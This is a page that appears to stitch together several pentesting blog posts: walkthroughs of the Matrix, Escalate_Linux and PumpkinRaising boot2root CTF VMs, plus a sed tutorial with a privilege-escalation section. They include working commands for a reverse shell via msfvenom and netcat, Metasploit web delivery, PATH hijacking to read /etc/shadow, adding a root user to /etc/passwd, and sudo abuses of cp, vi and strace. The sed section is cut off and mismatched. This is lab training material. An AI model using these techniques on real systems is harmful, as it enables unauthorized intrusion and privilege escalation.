0			0

Today we are going to take another CTF challenge from the series of Matrix. The credit for making this VM machine goes to “Ajay Verma” and it is another boot2root challenge where we have to root the server and capture the flag to complete the challenge.
You can download this VM

[To see content please register here]

.
Security Level: Intermediate
Penetrating Methodology:

1. Scanning
   

• Netdiscover
  
• NMAP
  

1. Enumeration
   

• Web Directory Search
  

1. Exploitation
   

• Ghidra
  
• SSH
  

1. Privilege Escalation
   

• Exploiting Sudo rights
  

Walkthrough:
Scanning:
Let’s start of by scanning the network and identifying the host IP address. We can identify our host IP as 192.168.1.104 by using Netdiscover.

Then we used Nmap for port enumeration. We found that port 80 is open, SSH is running on port 6464 and port 7331 is open on the target machine.
nmap –p- –A 192.168.1.104
1
nmap –p- –A 192.168.1.104

Enumeration:
As we can see port 80 is open, we tried to open the IP address in our browser but we didn’t find anything useful on the webpage.

So we used dirb for directory enumeration.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

After brute-forcing with dirb, we found a directory named /assets

We opened the assets directory in the browser and found an image file named Matrix_can-show-you-the-door.png under /assets/img/ URL.

We first opened this image but didn’t find anything of our use. Then upon looking at the file name properly we found out that the name of the file is itself giving us the path forward.
So we used Matrix in the URL as shown in the image below and it worked for us.
From the contents of the directory Matrix, we understood that we have to make a right combination of the alphanumeric to go ahead.

So after trying multiple combinations we used our little brain more aggressively and made a combination of n/e/o/6/4,  neo is the name of the actor in the Matrix movie and 64 number is I guess favourite number of the creator of this VM because he is using it everywhere.

We downloaded the file secret.gz and found that it’s actually a txt file and is containing the username and password.
file secret.gz
cat secret.gz
1
2
file secret.gz
cat secret.gz

Upon cracking the hashed password using online tool hashkiller, we found the password as passwd.

If you remember from the nmap scan we have a port 7331 open and it was protected with Basic Authentication.
So we tried to open the URL

[To see content please register here]

  and were prompted for authentication, so we used admin:passwd as username and password and were able to login successfully.

But we couldn’t find anything useful there, so we used dirb with an already obtained username and password for directory bruteforcing.
After bruteforcing, we found a directory named data.
dirb

[To see content please register here]

/ -u admin:passwd
1
dirb

[To see content please register here]

/ -u admin:passwd

In the data directory, we found a file name data which came out to be a DOS file.

Exploitation:
We took the help of our best friend in need Google to know how to open a DOS file. And after some research, we found a tool named

[To see content please register here]

for opening a DOS file.
After opening the data file with Ghidra tool we found a username and password guest:7R1n17yN30

As we already know from our nmap scan that there is SSH running on port 6464 on the target machine, so we tried to ssh the target machine with the above-found username and password and were successfully able to login.
ssh [email protected] –p6464
id
1
2
ssh [email protected] –p6464
id
But we were provided with the restricted bash (rbash) shell, so we used –t option to run ssh with noprofile extension and we got a complete shell of the guest user.
Checking the sudo permissions for the guest user we came to know that this user can run /bin/cp with permissions of another user trinity.
ssh [email protected] –p6464 –t "bash --noprofile"
sudo -l
1
2
ssh [email protected] –p6464 –t "bash --noprofile"
sudo -l

Privilege Escalation
To elevate to a more privilege’s user, what we did is we created a new ssh key pair, gave read write execute permissions to id_rsa.pub file so that we would be able to copy it to our target location.
ssh-keygen
cd .ssh
chmod 777 id_rsa.pub
1
2
3
ssh-keygen
cd .ssh
chmod 777 id_rsa.pub

And then we took the advantage of sudo permission to copy the id_rsa.pub file in the /home/trinity/.ssh/authorized_keys folder. Now we can access ssh of the target machine with trinity user using the id_rsa key.
Checking the sudo permission for trinity it can execute oracle file with root permissions.
cp id_rsa.pub /home/guest
cd ..
sudo -u trinity /bin/cp ./id_rsa.pub /home/trinity/.ssh/authorized_keys
ssh [email protected] -i /.ssh/id_rsa -p 6464
sudo -l
1
2
3
4
5
cp id_rsa.pub /home/guest
cd ..
sudo -u trinity /bin/cp ./id_rsa.pub /home/trinity/.ssh/authorized_keys
ssh [email protected] -i /.ssh/id_rsa -p 6464
sudo -l

But there was no file with the name oracle in the /home/trinity directory, so we created an oracle file with /bin/sh in it using the echo command. In the end, we executed the oracle file with sudo command, we got the root shell.
And once you have the root shell you can easily get the flag.
echo "/bin/sh" > oracle
chmod 777 oracle
sudo ./oracle
id
ls
cat flag.txt
1
2
3
4
5
6
echo "/bin/sh" > oracle
chmod 777 oracle
sudo ./oracle
id
ls
cat flag.txt


This article will take our readers through all about Stream Editor (Sed), which is one of the most prominent text-processing services on GNU/Linux. In this article, we came with the brief introductory guide to sed which supports the main concern that how sed works and how we can accomplish its supplementary practice in the operation of Privilege Escalation.
NOTE: “The main objective of publishing the series of “Linux for pentester” is to introduce the circumstances and any kind of hurdles that can be faced by any pentester while solving CTF challenges or OSCP labs which are based on Linux privilege escalations. Here we do not criticize any kind of misconfiguration that a network or system administrator does for providing higher permissions on any programs/binaries/files & etc.”
Table of Content
Overview of sed                                           

• Summary to sed
  
• Chief Action achieved using sed
  • Replacement with the sed command
    
  • Printing and viewing from sed command
    
  • Deleting lines with sed
    

Abusing sed

• SUDO Lab setups for privilege Escalation
  
• Exploiting SUDO
  

Summary to sed
SED command in LINUX/UNIX stands for “stream editor” that can implement lots of purpose on file like, searching, find and replace, insertion or deletion. However, the most common use of SED command is for exchange or for discover and swap. By using SED you can edit files even without opening it, which is a much faster technique to find and replace something in the file. It is a powerful text stream editor which can do insertion, deletion, search etc. for any file as per user requirements. This command also supports regular expression that allows it to perform complex pattern matching too. Now to know further about the “sed” command we will start from its help option.
Note: “It’s worth remarking that this article omits several commands, as our main concern is to reach about the “sed” influence over Privilege Escalation”.
sed --help
1
sed --help

Key actions achieved by “sed”

• Replacement with the sed command: As we know the “sed” performs many tasks that include insertion, deletion, modification and so on for any file as per user request so now we will start our journey to explore the entire utility of sed one by one.
  

1.1 Substituting or switching string: “sed” is used to replace or swap the string so whenever we need to exchange any string within a file then we will frame command as:
nano Ignite.txt
cat Ignite.txt
sed 's/Ignite/Egnyte/' Ignite.txt
1
2
3
nano Ignite.txt
cat Ignite.txt
sed 's/Ignite/Egnyte/' Ignite.txt
In the above command “s” denotes the substitution action. The “Ignite” is the hunt pattern and the “Egnyte” is the replacement string. By default, the sed command replaces the first incidence of the pattern in each line and it won’t replace the second, third…occurrence in the line.

1.2 Substituting the nth existence in a line: When we want to replace nth occurrence i.e. first, second and so on the existence of a pattern in a line then we will use the /1, /2 etc flags to mention the nth term.
sed 's/Ignite/Egnyte/2' Ignite.txt
1
sed 's/Ignite/Egnyte/2' Ignite.txt
Here I’m swapping for 2nd occurrence in each line.

1.3 Substituting all the existence at a time: As we know by default the sed command replaces the first incidence of the pattern in each line so if we wish to replace all occurrence simultaneously within a file then we can use flag “/g” for this purpose.
sed 's/Ignite/Egnyte/g' Ignite.txt
1
sed 's/Ignite/Egnyte/g' Ignite.txt
1.4 Substituting from nth occurrence to all existences: When we use “/g” this will make change globally to the entire file so if we want to make this swapping from a specific place then we need to mention that value(nth) from where we want to make changes.
sed 's/Ignite/Egnyte/3g' Ignite.txt
1
sed 's/Ignite/Egnyte/3g' Ignite.txt
On framing the above command it will replace all the patterns from the nth occurrence globally.
Note: In the below image you can’t see any changes for flag “3g” as my file doesn’t contain any 3rd occurrence of the replaced word but whenever there is the existence of substituted word at multiple times within a line then you can clearly see the changes that how its change globally from nth term.

1.5 Substituting the existence for a particular range: We can limit the sed command to replace the string for a particular range. This can be achieved by framing command as shown below.
sed ‘1,3 s/Ignite/Egnyte/’ Ignite.txt
1
sed ‘1,3 s/Ignite/Egnyte/’ Ignite.txt
On framing this command the “sed” will replace “Ignite” starting from the first line to the third line.
Note:  One can use “$” in place of end index if we want substitute from nth term to the last line in the file.

• Printing and viewing from sed command: Apart from substituting the string sed can help in printing and viewing a file as per user’s instruction.
  

2.1 Replicating the replaced line with /p flag: If we want to make duplication for replaced line then we can use the “/p” flag which prints the replaced line twice on the terminal. If a line does not have the search pattern and is not replaced, then it will print that line only once.
sed ‘s/Ignite/Egnyte/p’ Ignite.txt
1
sed ‘s/Ignite/Egnyte/p’ Ignite.txt
2.2 Printing only the replaced lines: If a user wants to print only those lines which are substituted then he can use “-n” option following by print command as shown below.
sed -n ‘s/Ignite/Egnyte/p’ Ignite.txt
1
sed -n ‘s/Ignite/Egnyte/p’ Ignite.txt
As from below image it can be cleared that on using “-n” the print flag has printed all the replaced line as output.

2.3 Printing lines by numbering it: This command is similar to “cat” in which we use “-n” for numbering the line for any file, same we can achieve from sed command too by framing the command as below.
sed = a.txt | sed 'N; s/^/    /; s/ *\(.\{4,\}\)\n/\1  /'
1
sed = a.txt | sed 'N; s/^/    /; s/ *\(.\{4,\}\)\n/\1  /'
On drawing the above command sed will print the output by numbering each line as per user request.

2.4 Display a file from x to y range: If we want to view a file from an instance i.e. for a range of starting index to end index then we write command as:
sed -n '2,4p' Ignite.txt
1
sed -n '2,4p' Ignite.txt
If we use “d” instead of “p” then sed will View the entire file except for the given range.
2.5 Print nth line of the file: Inplace of fixing end index you can also leave it blank if you wish to print only a specific line.
sed -n '4'p Ignite.txt
1
sed -n '4'p Ignite.txt
As in below screenshot, you can see when I have used above-mentioned command then sed has reflected the output only to print for the 4th line.

2.6 Print from nth line to end of file: To print any file from its nth line to the last (end of file) line then frame command as below:
sed -n '4,$'p Ignite.txt
1
sed -n '4,$'p Ignite.txt
Here “$” is an indication for reflecting the last line of the file.

2.7 Print the line only for pattern matching: If we want to print only those lines which match the given pattern then, in this case, we will draw command as:
sed -n /training/p Ignite.txt
1
sed -n /training/p Ignite.txt
From the below image, it is clear how this command works. Here in the below image, I have print those lines which include the word “training”.
2.8 Print lines which matches the pattern nth line: We can use numeric value along “p” to print for pattern matching till nth line.
sed -n '/cyber/,3p' Ignite.txt
1
sed -n '/cyber/,3p' Ignite.txt

3 Deleting lines with sed: Now we check how we can delete the lines from a file by the help of sed.
3.1 Remove a specific line: To delete any particular line within a file us “d” option followed by sed command. Here I’m deleting the 3rd line from “Ignite.txt”.
sed '3d' Ignite.txt
1
sed '3d' Ignite.txt
3.2 Remove line for a range: If we wish to delete content till a particular range then we will set its “initial index value” and “end value” of file. In below image, I have deleted the content of “Ignite.txt” from its 3rd line to 5th line and will attain output for remaining file content.
sed '3,5d' Ignite.txt
1
sed '3,5d' Ignite.txt

3.3 Remove from nth to last line: Instead of fixing end index one can also use “$” to delete lines till the end of the file.
sed '2,$d' Ignite.txt
1
sed '2,$d' Ignite.txt
Here “2” indicating for the initial index from where deletion must be done and “$” is indicating to delete lines till the end of the file.
3.4 Remove the last line: If we won’t set any index value then “$d” will simply delete only the last line of the file.
sed '2d' Ignite.txt
1
sed '2d' Ignite.txt

3.5 Remove the pattern matching line: Sometimes we not only want to print or view those lines that match the particular pattern but also desire to delete them so in such case we will frame below command to attain output as per user request.
sed '/training/d' Ignite.txt
1
sed '/training/d' Ignite.txt
Here in below image sed has deleted all those lines which match the word “training”.

Abusing sed
Sudo Rights Lab setups for Privilege Escalation
Now we will start our mission of privilege escalation. To grab this first, we have to set up our lab of sed command with administrative rights. After that, we will check for the sed command that what impact it has after getting sudo rights and how we can use it more for privilege escalation.
It can be clearly understood by the below image in which I have created a local user (test) who own all sudo rights as root and can achieve all task as admin.
To add sudo right open etc/sudoers file and type following as user Privilege specification.
test All=(root) NOPASSWD: /usr/bin/sed
1
test All=(root) NOPASSWD: /usr/bin/sed

Exploiting Sudo rights
Now we will start exploiting sed facility by taking the privilege of sudoer’s permission. For this very first we must have sessions of a victim’s machine then only we can execute this task. Suppose we got the sessions of victim’s machine that will assist us to have local user access of the targeted system through which we can escalate the root user rights.
So now we will connect to the target machine with ssh, therefore, type following command to get access through local user login.
ssh [email protected]
1
ssh [email protected]
Then we look for sudo right of “test” user (if given) and found that user “test” can execute the pip command as “root” without a password.
sudo -l
1
sudo -l
Now we will access our /etc/passwd file by the help sed command to escalate or maintain access with elevated privileges.
Conclusion: Hence we have successfully exploited “sed” by achieving its functionality after granting higher privilege.

Reference link:

[To see content please register here]

Escalate_Linux is an intentionally developed Linux vulnerable virtual machine. The main focus of this machine is to learn Linux Post Exploitation (Privilege Escalation) Techniques. The credit for making this VM machine goes to “Manish Gupta” and it is a boot2root challenge where the creator of this machine wants us to root the machine through twelve different ways. You can download the machine following this link:

[To see content please register here]

NOTE: In this article, we have exploited the machine with six different methods.
Security Level: Beginner-Intermediate
Penetrating Methodology:
Scanning

• Netdiscover
  
• Nmap
  

Enumeration

• Web Directory Search
  

Exploiting

• Metasploit shell upload
  
• LinEnum.sh
  

Privilege Escalation

• Method 1: Get root shell by exploiting suid rights of the shell file
  
• Method 2: Get a root shell by cracking the root password
  
• Method 3: Get root shell by exploiting sudo rights of user1
  
• Method 4: Get root shell by exploiting crontab
  
• Method 5: Exploiting Sudo rights of vi editor
  
• Method 6: Exploiting writable permission of /etc/passwd file
  

Walkthrough:
Scanning:
Let’s start off by scanning the network using Netdiscover tool and identify the host IP address. We can identify our host IP address as 192.168.0.17.

Now let’s scan the services and ports of target machine with nmap
nmap -A 192.168.0.17
1
nmap -A 192.168.0.17

Enumeration:
As we can see port 80 is open, so we tried to open the IP address in our browser and got nothing but the default Apache webpage.

So we used dirb with .php filter for directory enumeration.
dirb

[To see content please register here]

–X .php
1
dirb

[To see content please register here]

–X .php
After brute-forcing with dirb, we found a URL named

[To see content please register here]

/shell.php

Now we opened the URL in our browser and found that it accepts cmd as get parameter.

So, we passed the id command in the URL and found the results are reflected in the response.

Exploiting
Since the target machine is vulnerable to command injection, we created a web delivery shell using Metasploit.
use exploit/multi/script/web_delivery
set srvhost 192.168.0.12
set lhost 192.168.0.12
exploit
1
2
3
4
use exploit/multi/script/web_delivery
set srvhost 192.168.0.12
set lhost 192.168.0.12
exploit

The target host was not able to run the script directly, so we used URL encoding.

After encoding the script, we were successfully able to run it on the target machine and get the meterpreter session.

We got the bash shell of User6 after using python one-liner shell command.
To further enumerate the target host, we uploaded LinEnum tool on the target host.
upload /root/LinEnum.sh .
shell
python -c 'import pty;pty.spawn("/bin/bash")'
chmod 777 LinEnum.sh
./LinEnum.sh
1
2
3
4
5
upload /root/LinEnum.sh .
shell
python -c 'import pty;pty.spawn("/bin/bash")'
chmod 777 LinEnum.sh
./LinEnum.sh

From the results of LinEnum scan, we found that the target host has eight users namely user1, user2 up to user8.

We also found that in crontab, a file named autoscript.sh is being run every 5 minutes with root privileges.

From the same LinEnum scan, we came to know that /etc/passwd is writable for users also. Also, we found that we can run shell and script files with root privileges because SUID bit is enabled on it.

Privilege Escalation:
As mentioned above there are multiple ways to do the privilege escalation of this machine.
We will try to do as many methods as possible.
Method 1: Get root shell by exploiting SUID rights of the shell file
Using the find command we can confirm that the shell file located in the home directory of user3 can be executed with root privileges.
We tried to execute the same file and got the root shell.
find / -perm -u=s -type f 2>/dev/null
cd /home/user3
./shell
1
2
3
find / -perm -u=s -type f 2>/dev/null
cd /home/user3
./shell

Method 2: Get a root shell by cracking the root password
From the above screenshot, we know that the script file located in the user5 home directory can be executed with root privileges. Using the Path variable exploitation methodology we can access the /etc/shadow file.
To know more about path variable privilege escalation use this link:

[To see content please register here]

cd /tmp
echo "cat /etc/shadow" > ps
chmod 777 ps
export PATH=/tmp:$PATH
cd /home/user5
./script
1
2
3
4
5
6
cd /tmp
echo "cat /etc/shadow" > ps
chmod 777 ps
export PATH=/tmp:$PATH
cd /home/user5
./script

on executing ./script, we have fetched the content of shadow’s file as shown in the below image.

We copied the hashed password of root user in the hash file and used John The Ripper tool to crack the password. We got the password of the root as 12345 and then using the su command we were able to access as root.
john hash
su root
1
2
john hash
su root

Method 3: Get root shell by exploiting SUDO rights of user1
We already know by now that script file can be executed with root privileges.
Using the same script file we can change the password of all the users with the help of Path variable methodology.
Here we used echo and chpasswd command to replace the existing password with our new password 12345. And then switched to the user1 account using su command. After checking the sudoer’s list for user1 we came to know that this user can run all commands as sudo.
So we ran the command sudo su and got the root access.
echo 'echo "user1:12345" | chpasswd' > ls
chmod 777 ls
export PATH=/tmp:$PATH
cd /home/user5
./script
su user1
sudo –l
sudo su
1
2
3
4
5
6
7
8
echo 'echo "user1:12345" | chpasswd' > ls
chmod 777 ls
export PATH=/tmp:$PATH
cd /home/user5
./script
su user1
sudo –l
sudo su

Method 4: Get root shell by exploiting crontab
In the previous screenshot, we saw there is a task scheduled after every 5 minutes for user4 in the crontab by the name autoscript.sh. We changed the password of user4 the same way as we did for user1 and then switched to user4 with the new password 12345. There we can see a file autoscript.sh in the Desktop folder.
su user4
ls -la
1
2
su user4
ls -la

So what we did is we created a payload using msfvenom and then copied the code into autoscript.sh file using echo.
msfvenom –p cmd/unix/reverse_netcat lhost=192.168.0.12 lport=8888 R
1
msfvenom –p cmd/unix/reverse_netcat lhost=192.168.0.12 lport=8888 R

echo "code" > autoscript.sh
1
echo "code" > autoscript.sh

After copying the code into autoscript.sh file we executed the file and started the netcat listener on our kali machine and waited for the shell.
Yes we got the root shell as the autoscript.sh is executing as root in the crontab.
nc –lvp 8888
id
1
2
nc –lvp 8888
id

Method 5: Exploiting SUDO rights of vi editor
We changed the password of all the users to 12345 using the same methodology as above and switched between users to check for more exploits. We found that user8 has a sudo permission for vi editors.
su user8
sudo -l
1
2
su user8
sudo -l

Open the vi editor with sudo and insert sh command as shown in the screenshot below, exit the editor and hurray we got the root shell.
:!sh
ids
1
2
:!sh
ids

And again we will obtain the root shell as shown below in the image.

Method 6: Exploiting writable permission of /etc/passwd file
Continuing with the enumeration of users, we found that user7 is a member of the root group with gid 0.
And we already know from the LinEnum scan that /etc/passwd file is writable for the user. So from this observation, we concluded that user7 can edit the /etc/passwd file.
tail /etc/passwd
su user7
id
1
2
3
tail /etc/passwd
su user7
id

So we copied the contents of /etc/passwd file in our kali machine and created a new user named raj with root privileges for which we generated a password pass123 using openssl.
openssl passwd -1 -salt ignite pass123
1
openssl passwd -1 -salt ignite pass123

As you can observe we have created a new entry inside /etc/passwd for user raj with root privilege.

On the target machine, we downloaded the edited passwd file in the /etc folder using wget command.
Then we tried to switch to our newly created user raj and YES yet again we proudly got the root shell of the machine.
cd /etc
wget –O passwd

[To see content please register here]

su raj
id
1
2
3
4
cd /etc
wget –O passwd

[To see content please register here]

su raj
id

Conclusion: So in this part-1 of Escalate_Linux we did the privilege escalation by six different methodologies. In the part-2 we will try to exploit the machine by some different methods. So keep visiting Hacking Articles for next part.

PumpkinRaising is another CTF challenge from the series of Mission-Pumpkin v1.0 created by keeping beginners in mind and all credit for this VM goes to Jayanth. This level is all about identifying 4 pumpkin seeds (4 Flags – Seed ID’s) and gain access to root and capture the final Flag.txt file.
You can download it from here:

[To see content please register here]

Level: Beginner to Intermediate
Penetrating Methodologies
Scanning

• Nmap
  

Enumeration

• txt
  
• Abusing HTTP services
  

Exploiting

• Ssh Login
  

Privilege Escalation

• Abusing Sudo right
  

Walkthrough
Scanning
Let’s start with network scanning as the IP of this VM is 192.168.0.11. So, initializing this VM by scanning open port and running services over those port with the help nmap.
nmap -A 192.168.0.11
1
nmap -A 192.168.0.11
From its scan result, I found port 22 for ssh and 80 for http are available, moreover it gave some hint for /robot.txt file that disallows 23 entities.

Enumeration
So first we navigate to a web browser and explore the VM IP and welcome by following web page. Read the following message:
“To raise Pumpkins, we need to collect seeds in the first step. Remember Jack? He is the only expert we have in raising healthy Pumpkins. It’s time to get in search of pumpkin seeds”
From this message, we can assume for “Jack” which could be a username.

Further, I explored /robot.txt file suggested in nmap scan and found some list of interesting directories, files and paths. Apart from all entries, I found a few interesting entries such as: /hidden/notes.txt, /underconstruction.html and /seeds/seed.txt.gpg.  so, we have explored each entry one-by-one.

The hidden note.txt showed certain data which may be needed to login credentials subsequently.

[To see content please register here]

Robert: C@43r0VqG2=
Mark: Qn@F5zMg4T
goblin: 79675-06172-65206-17765
1
2
3
4

[To see content please register here]

Robert: C@43r0VqG2=
Mark: Qn@F5zMg4T
goblin: 79675-06172-65206-17765

when I checked the source code of the homepage and here, I found a link for pumpkin.html

On exploring source code of

[To see content please register here]

, I found a base32 encoded string.

With the help of online base32 decoder, we have decoded the string and note the path /scripts/spy.pcap that could be a hint for seed’s id.

To identify what is inside the spy.pcap file, I simply downloaded the file in our local machine and used Wireshark to read the network packet.

Here I found the first seed: 50609 from inside the tcp steam as shown in the below image.

Again, we come back to pumkin.html page and I found the decimal string on scrolling same file.

On decoding decimal string, we found one more seed:96454

As you know we have enumerated /robots.txt and from inside that, we found another important file /underconstrution.html as shown below. So, we have explored the source code of the web page and noted hint for an image.

Now, we have explored the below URL and found a picture for pumpkin which I have downloaded in my local machine.

[To see content please register here]

1

[To see content please register here]

After downloading the pumpkin image, I check for hidden data with help of stegosuite. This image was password protected image and if you remembered we had enumerated “Mark: Qn@F5zMg4T” secret keys from inside /hidden/notes.txt
I used the key: Qn@F5zMg4T for extracting the hidden file “decorative.txt” from inside the stegno image.

So, when I opened this file, it gave me another PUMP-Ke-Mon Pumpkin seed: 86568

Further, I downloaded the .gpg file as the link /seeds/seed.txt.gpg which was mention in the robot.txt file.
wget

[To see content please register here]

gpg -d seeds.txt.gpg
1
2
wget

[To see content please register here]

gpg -d seeds.txt.gpg

So, when I tried to open the file, I noticed that it requires the passphrase to decrypt the encrypted data which I don’t know. Here I tried to use above enumerated keys but could not able to decrypt it. After so many attempts, I successfully decrypted the file by entering SEEDWATERSUNLIGH which was mentioned in the home page of website in the 2nd image.
On decrypting I obtained following text file as shown below and it was a Morse encoded text which used in telecommunication that encodes text characters as standardized sequences of two different signal durations called dots and dashes.

To decrypt the Morse text I have used

[To see content please register here]

which is an online decrypting tool. On decrypting the text, I found another BIGMAXPUMPKIN seed 69507

As it was declared by the author that in this VM we need to find 4 SEED’s ID and a root flag. Hence, we have collected all 4 seed’s id but for getting root flag, we need to compromise the VM. 
When I didn’t get any vulnerability to compromised it, I tried to access ssh by the combination of all 4 seed found in this VM and used this as a password for user jack.

1. SEED ID: 69507 
   
2. SEED ID: 50609
   
3. SEED ID: 96454
   
4. SEED ID: 86568
   

ssh [email protected]
SSH login Password: 69507506099645486568
1
2
ssh [email protected]
SSH login Password: 69507506099645486568
Yuppie!! We got the shell access but for obtaining root flag we need to escalate the privilege from low privilege shell to high. Therefore, I check for sudo rights for user jack and found jack can run strace with sudo rights.
Hmmm! We can abuse the sudo permission set for strace program. Hence type following and obtain the root flag.





sudo strace -o/dev/null /bin/bash
cd /root
ls
cat flag.txt
1
2
3
4
sudo strace -o/dev/null /bin/bash
cd /root
ls
cat flag.txt

0			0

Thank you my friend